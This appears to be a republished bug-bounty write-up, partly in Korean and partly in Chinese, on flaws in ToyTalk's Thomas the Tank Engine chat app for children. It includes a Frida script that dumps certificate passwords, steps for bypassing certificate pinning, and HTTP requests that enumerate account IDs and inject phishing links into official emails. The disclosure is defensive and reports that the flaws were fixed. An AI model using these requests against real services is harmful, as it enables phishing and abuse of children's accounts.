>  기사  >  운영 및 유지보수  >  '기관차 토마스' 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

'기관차 토마스' 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

WBOY
WBOY앞으로
2023-05-19 18:31:491370검색

취약점 발견 배경

토이톡은 픽사 전 임원들이 설립한 인공지능 장난감 스타트업 회사입니다. 그들이 디자인하는 스마트 장난감은 시각적 추적, 음성 인식, 네트워크 확장 기능을 갖추고 있어 아이들이 앱을 통해 음성으로 장난감과 소통할 수 있습니다. 행동 반응 인식을 통해 어린이가 가상 캐릭터와 대화하는 능력을 자극하고 장난감과 상호 작용하는 재미를 더 잘 실현할 수 있습니다.

ToyTalk는 2015년 7월 "토마스와 친구들 Talk To You"라는 유료 앱을 출시했습니다. 이 앱은 어린이들이 유명한 만화 캐릭터 "기관차 토마스"(Thomas the Tank Engine)와 상호작용할 수 있는 대화형 채팅을 제공합니다. Thomas와 그의 친구들 Percy, Gordon, Henry, James, Edward, Toby 및 Mr. "The Fat Controller" Topham Hay와 함께 Sodor 섬(Topham Hatt 경)의 8개 스토리 투어를 통해 양방향 대화를 나눕니다. 토이톡 장난감 제품의 보안과 홈 네트워크 환경 접속으로 인한 보안 위험을 테스트하기 위해 토이톡 제품은 모두 동일한 코드를 사용하기 때문에 "토마스와 친구들 채팅" 앱에 대한 분석을 하기로 했습니다. 기본이며 Thomas Talk 앱은 설치 및 제거가 쉽고 테스트가 편리하며 Hello Barbie 및 Barbie와 같은 다른 ToyTalk 제품에도 동일한 취약점이 있을 수 있습니다

.

취약점 상황

#취약성 1: - 인증 메커니즘이 부족하여 공격자는 쉽게 어린이인 척하여 토마스 장난감과 대화할 수 있습니다.

#취약성 2: - support@toytalk.com 또는 다른 사람인 것처럼 가장할 수 있습니다.

APP 작동 방식 분석

"토마스와 친구들이 당신과 채팅합니다" 앱이 실행된 후 입력이 필요합니다. 확인을 위해 부모님의 이메일 주소를 제공하세요. 앱에서 제공하는 음성 인식 기능 사용 이메일 주소를 제출한 후 앱이 실행 인터페이스에 진입합니다. 처음에는 확인 권한을 제공해야 하기 때문에 앱이 공격 표면에 노출되는 것이 매우 제한적이라고 느낄 수 있습니다.

다음으로 해당 앱의 네트워크 브라우징 차단 분석을 진행해보겠습니다. 분석 중 이 앱은 인증을 위한 인증서, 즉 인증서를 제공한다는 점에서 다른 앱과 다르다는 것을 발견했습니다. 즉, APP와 웹 서버 간에 상호 인증 프로세스가 있을 것입니다. 이를 기반으로 먼저 클라이언트 인증서의 작동 메커니즘과 관련 비밀번호 확인을 살펴봐야 합니다.

나중에 리버스 엔지니어링을 통해 알아냈습니다. 다음 두 가지 기능이 더 흥미롭습니다. 기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }
기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석 그 이후에는 비밀번호 입력 기능을 계속해서 역검색하지 않고 frida 후크 기능과 함께 다음 Python 스크립트를 사용하여 비밀번호와 파일 이름을 덤프하여 더 깊이 들어갔습니다.
import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

다행히도 올바른 인증 인증서 파일을 APK에서 추출하여 중간자 공격(MITM)을 수행하는 데 사용할 수 있으며, 흥미롭게도 Toystalk.12 파일은 어떤 비밀번호로도 보호되지 않습니다

이제 . 클라이언트 인증서를 사용할 수 있지만 인증서 고정 메커니즘은 여전히 ​​우회해야 합니다. 이를 달성하는 방법은 여러 가지가 있지만 가장 쉬운 방법은 apk에서 인증서를 삭제하고 프로그램을 다시 빌드한 후 다시 설치하는 것입니다. 클라이언트 인증서를 Burpsuite로 가져와 인증서 잠금 기능을 비활성화한 후 대부분의 APP 프로그램 테스트의 첫 번째 단계인 트래픽 차단에 들어갈 수 있습니다.

취약점 분석

취약점 1 - 인증 메커니즘 부족

또한 앱은 덜 명확한 기능을 제공합니다. 즉, 캡처된 대화 오디오 파일은 부모가 나중에 재생할 수 있도록 온라인에 저장됩니다. 이전 동의에 사용된 이메일 주소. 단, 이 이메일 주소는 부모가 비밀번호를 재설정할 때만 사용됩니다. 기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

"말하기" 버튼을 누르면 앱이 캡처한 오디오 파일을 다음 POST 요청 방식으로 원격 웹 서버로 보냅니다:

https://asr.2.toytalk.com / V3/ASR/0673BCB8-367a-44BC-AED5-8C21FB7086AF/Thomas/1502714441? 계정 = & LT; 제거됨 & GT; & LT; 제거됨 & GT; device_id = & lt; 제거됨 & gt; & lt; 제거됨 & gt ;&os=Android&os_version=5.1&intelligence=0%2F1%2Fc%2F01cd49694727bbcf1c0cefd7a4a24f2e_intelligence.tiz&ruleset_id=rs_b92dd8d9-cba9-4a76 -a56b-51fc3d15f8f5&rate=16000

虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。

在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。

此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:

기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:

https://api.toytalk.com/v3/account/

就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。

漏洞报送进程

2017.8.14 -  向ToyTalk报告漏洞

2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态

2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态

2017.12.8  - 完全修复漏洞

2017.12.18 - 漏洞赏金发放并关闭漏洞报告

漏洞2 - 可向ToyTalk邮件中注入恶意HTML框架

几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。

为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。

也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:

GET /v3/account/<email> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</email>

然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</accountid>

以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:

기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

漏洞报送进程:

2017.12.4 - 提交漏洞

2017.12.12 - 官方致谢

2017.12.18 - 官方修复漏洞

2017.12.18 - 发布赏金并关闭漏洞报告

整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。

위 내용은 '기관차 토마스' 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제